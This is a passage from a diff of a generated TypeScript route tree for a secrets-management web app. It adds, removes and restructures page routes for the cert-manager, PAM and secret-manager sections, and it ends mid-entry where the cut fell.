     | '/share-secret'
-    | '/upgrade-path'
     | '/_authenticate'
     | '/_restrict-login-signup'
     | '/_authenticate/password-setup'
@@ -7119,7 +7381,6 @@ export interface FileRouteTypes {
     | '/_authenticate/personal-settings/_layout'
     | '/_authenticate/personal-settings/_layout/'
     | '/_restrict-login-signup/login/provider/error'
-    | '/_restrict-login-signup/login/provider/success'
     | '/_authenticate/_inject-org-details/_org-layout/integrations'
     | '/_authenticate/_inject-org-details/admin/_admin-layout'
     | '/_authenticate/_inject-org-details/admin/_admin-layout/'
@@ -7177,20 +7438,19 @@ export interface FileRouteTypes {
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ai/$projectId/_ai-layout/overview'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ai/$projectId/_ai-layout/settings'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/alerting'
-    | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/certificate-authorities'
+    | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/overview'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/policies'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/settings'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/kms/$projectId/_kms-layout/kmip'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/kms/$projectId/_kms-layout/overview'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/kms/$projectId/_kms-layout/settings'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/account-policies'
-    | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/settings'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/allowlist'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/approval'
+    | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/insights'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/overview'
-    | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/secret-rotation'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/settings'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-scanning/$projectId/_secret-scanning-layout/findings'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-scanning/$projectId/_secret-scanning-layout/settings'
@@ -7198,10 +7458,12 @@ export interface FileRouteTypes {
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ssh/$projectId/_ssh-layout/certificates'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ssh/$projectId/_ssh-layout/overview'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ssh/$projectId/_ssh-layout/settings'
+    | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ai/$projectId/_ai-layout/access-management'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ai/$projectId/_ai-layout/audit-logs'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/access-management'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/app-connections'
+    | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/audit-logs'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/certificate-templates'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/code-signing'
@@ -7211,8 +7473,10 @@ export interface FileRouteTypes {
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/kms/$projectId/_kms-layout/access-management'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/kms/$projectId/_kms-layout/audit-logs'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/access-management'
+    | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/audit-logs'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/discovery'
+    | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/sessions'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/access-management'
@@ -7225,26 +7489,29 @@ export interface FileRouteTypes {
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-scanning/$projectId/_secret-scanning-layout/data-sources'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ssh/$projectId/_ssh-layout/access-management'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ssh/$projectId/_ssh-layout/audit-logs'
+    | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals/'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/certificate-templates/'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/code-signing/'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/discovery/'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/integrations/'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/subscribers/'
+    | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals/'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/discovery/'
+    | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/sessions/'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/integrations/'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-scanning/$projectId/_secret-scanning-layout/data-sources/'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ai/$projectId/_ai-layout/mcp-endpoints/$endpointId'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ai/$projectId/_ai-layout/mcp-servers/$serverId'
-    | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approval-requests/$approvalRequestId'
+    | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals/$approvalRequestId'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/ca/$caId'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/certificates/$certificateId'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/code-signing/$signerId'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/discovery/$discoveryId'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/integrations/$syncId'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/subscribers/$subscriberName'
-    | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approval-requests/$approvalRequestId'
+    | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals/$approvalRequestId'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/sessions/$sessionId'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/integrations/$integrationId'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/integrations/select-integration-auth'
@@ -7348,8 +7615,10 @@ export interface FileRouteTypes {
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/integrations/windmill/authorize'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/integrations/windmill/create'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-scanning/$projectId/_secret-scanning-layout/data-sources/$type/$dataSourceId'
+    | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/$resourceType/$resourceId'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/commits/$environment/$folderId'
+    | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId/'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/$resourceType/$resourceId/'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/commits/$environment/$folderId/'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/integrations/azure-app-configuration/oauth2/callback'
@@ -7366,7 +7635,9 @@ export interface FileRouteTypes {
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/commits/$environment/$folderId/$commitId'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/commits/$environment/$folderId/$commitId/'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/commits/$environment/$folderId/$commitId/restore'
+    | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId/accounts/$accountId'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/$resourceType/$resourceId/accounts/$accountId'
+    | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId/accounts/$accountId/'
     | '/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/$resourceType/$resourceId/accounts/$accountId/'
   fileRoutesById: FileRoutesById
 }
@@ -7375,7 +7646,6 @@ export interface RootRouteChildren {
   indexRoute: typeof indexRoute
   authCliRedirectPageRouteRoute: typeof authCliRedirectPageRouteRoute
   publicShareSecretPageRouteRoute: typeof publicShareSecretPageRouteRoute
-  publicUpgradePathPageRouteRoute: typeof publicUpgradePathPageRouteRoute
   middlewaresAuthenticateRoute: typeof middlewaresAuthenticateRouteWithChildren
   middlewaresRestrictLoginSignupRoute: typeof middlewaresRestrictLoginSignupRouteWithChildren
   publicViewSecretRequestByIDPageRouteRoute: typeof publicViewSecretRequestByIDPageRouteRoute
@@ -7386,7 +7656,6 @@ const rootRouteChildren: RootRouteChildren = {
   indexRoute: indexRoute,
   authCliRedirectPageRouteRoute: authCliRedirectPageRouteRoute,
   publicShareSecretPageRouteRoute: publicShareSecretPageRouteRoute,
-  publicUpgradePathPageRouteRoute: publicUpgradePathPageRouteRoute,
   middlewaresAuthenticateRoute: middlewaresAuthenticateRouteWithChildren,
   middlewaresRestrictLoginSignupRoute:
     middlewaresRestrictLoginSignupRouteWithChildren,
@@ -7409,7 +7678,6 @@ export const routeTree = rootRoute
         "/",
         "/cli-redirect",
         "/share-secret",
-        "/upgrade-path",
         "/_authenticate",
         "/_restrict-login-signup",
         "/secret-request/secret/$secretRequestId",
@@ -7425,9 +7693,6 @@ export const routeTree = rootRoute
     "/share-secret": {
       "filePath": "public/ShareSecretPage/route.tsx"
     },
-    "/upgrade-path": {
-      "filePath": "public/UpgradePathPage/route.tsx"
-    },
     "/_authenticate": {
       "filePath": "middlewares/authenticate.tsx",
       "children": [
@@ -7501,8 +7766,7 @@ export const routeTree = rootRoute
         "/_restrict-login-signup/login/admin",
         "/_restrict-login-signup/login/ldap",
         "/_restrict-login-signup/login/select-organization",
-        "/_restrict-login-signup/login/provider/error",
-        "/_restrict-login-signup/login/provider/success"
+        "/_restrict-login-signup/login/provider/error"
       ]
     },
     "/_restrict-login-signup/signup": {
@@ -7589,10 +7853,6 @@ export const routeTree = rootRoute
       "filePath": "auth/ProviderErrorPage/route.tsx",
       "parent": "/_restrict-login-signup/login"
     },
-    "/_restrict-login-signup/login/provider/success": {
-      "filePath": "auth/ProviderSuccessPage/route.tsx",
-      "parent": "/_restrict-login-signup/login"
-    },
     "/_authenticate/_inject-org-details/_org-layout/integrations": {
       "filePath": "",
       "parent": "/_authenticate/_inject-org-details/_org-layout",
@@ -7882,19 +8142,20 @@ export const routeTree = rootRoute
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId",
       "children": [
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/alerting",
-        "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals",
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/certificate-authorities",
+        "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/overview",
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/policies",
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/settings",
+        "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/",
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/access-management",
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/app-connections",
+        "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals",
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/audit-logs",
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/certificate-templates",
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/code-signing",
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/discovery",
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/integrations",
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/subscribers",
-        "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approval-requests/$approvalRequestId",
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/ca/$caId",
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/certificates/$certificateId",
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/groups/$groupId",
@@ -7924,14 +8185,14 @@ export const routeTree = rootRoute
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId",
       "children": [
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/account-policies",
-        "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals",
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/settings",
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/access-management",
+        "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals",
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/audit-logs",
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/discovery",
+        "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains",
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources",
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/sessions",
-        "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approval-requests/$approvalRequestId",
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/groups/$groupId",
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/identities/$identityId",
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/members/$membershipId",
@@ -7944,8 +8205,8 @@ export const routeTree = rootRoute
       "children": [
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/allowlist",
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/approval",
+        "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/insights",
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/overview",
-        "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/secret-rotation",
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/settings",
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/access-management",
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/app-connections",
@@ -8005,14 +8266,14 @@ export const routeTree = rootRoute
       "filePath": "cert-manager/AlertingPage/route.tsx",
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout"
     },
-    "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals": {
-      "filePath": "cert-manager/ApprovalsPage/route.tsx",
-      "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout"
-    },
     "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/certificate-authorities": {
       "filePath": "cert-manager/CertificateAuthoritiesPage/route.tsx",
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout"
     },
+    "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/overview": {
+      "filePath": "cert-manager/DashboardPage/route.tsx",
+      "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout"
+    },
     "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/policies": {
       "filePath": "cert-manager/PoliciesPage/route.tsx",
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout"
@@ -8037,10 +8298,6 @@ export const routeTree = rootRoute
       "filePath": "pam/PamAccountPoliciesPage/route.tsx",
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout"
     },
-    "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals": {
-      "filePath": "pam/ApprovalsPage/route.tsx",
-      "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout"
-    },
     "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/settings": {
       "filePath": "pam/SettingsPage/route.tsx",
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout"
@@ -8053,12 +8310,12 @@ export const routeTree = rootRoute
       "filePath": "secret-manager/SecretApprovalsPage/route.tsx",
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout"
     },
-    "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/overview": {
-      "filePath": "secret-manager/OverviewPage/route.tsx",
+    "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/insights": {
+      "filePath": "secret-manager/InsightsPage/route.tsx",
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout"
     },
-    "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/secret-rotation": {
-      "filePath": "secret-manager/SecretRotationPage/route.tsx",
+    "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/overview": {
+      "filePath": "secret-manager/OverviewPage/route.tsx",
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout"
     },
     "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/settings": {
@@ -8089,6 +8346,10 @@ export const routeTree = rootRoute
       "filePath": "ssh/SettingsPage/route.tsx",
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ssh/$projectId/_ssh-layout"
     },
+    "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/": {
+      "filePath": "cert-manager/DashboardPage/route-index.tsx",
+      "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout"
+    },
     "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ai/$projectId/_ai-layout/access-management": {
       "filePath": "project/AccessControlPage/route-ai.tsx",
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ai/$projectId/_ai-layout"
@@ -8105,6 +8366,14 @@ export const routeTree = rootRoute
       "filePath": "project/AppConnectionsPage/route-cert-manager.tsx",
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout"
     },
+    "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals": {
+      "filePath": "",
+      "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout",
+      "children": [
+        "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals/",
+        "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals/$approvalRequestId"
+      ]
+    },
     "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/audit-logs": {
       "filePath": "project/AuditLogsPage/route-cert-manager.tsx",
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout"
@@ -8161,6 +8430,14 @@ export const routeTree = rootRoute
       "filePath": "project/AccessControlPage/route-pam.tsx",
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout"
     },
+    "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals": {
+      "filePath": "",
+      "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout",
+      "children": [
+        "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals/",
+        "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals/$approvalRequestId"
+      ]
+    },
     "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/audit-logs": {
       "filePath": "project/AuditLogsPage/route-pam.tsx",
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout"
@@ -8173,6 +8450,14 @@ export const routeTree = rootRoute
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/discovery/$discoveryType/$discoverySourceId"
       ]
     },
+    "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains": {
+      "filePath": "",
+      "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout",
+      "children": [
+        "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/",
+        "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId"
+      ]
+    },
     "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources": {
       "filePath": "",
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout",
@@ -8313,6 +8598,10 @@ export const routeTree = rootRoute
       "filePath": "project/AuditLogsPage/route-ssh.tsx",
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ssh/$projectId/_ssh-layout"
     },
+    "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals/": {
+      "filePath": "cert-manager/ApprovalsPage/route.tsx",
+      "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals"
+    },
     "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/certificate-templates/": {
       "filePath": "cert-manager/PkiTemplateListPage/route.tsx",
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/certificate-templates"
@@ -8333,10 +8622,18 @@ export const routeTree = rootRoute
       "filePath": "cert-manager/PkiSubscribersPage/route.tsx",
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/subscribers"
     },
+    "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals/": {
+      "filePath": "pam/ApprovalsPage/route.tsx",
+      "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals"
+    },
     "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/discovery/": {
       "filePath": "pam/PamDiscoveryPage/route.tsx",
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/discovery"
     },
+    "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/": {
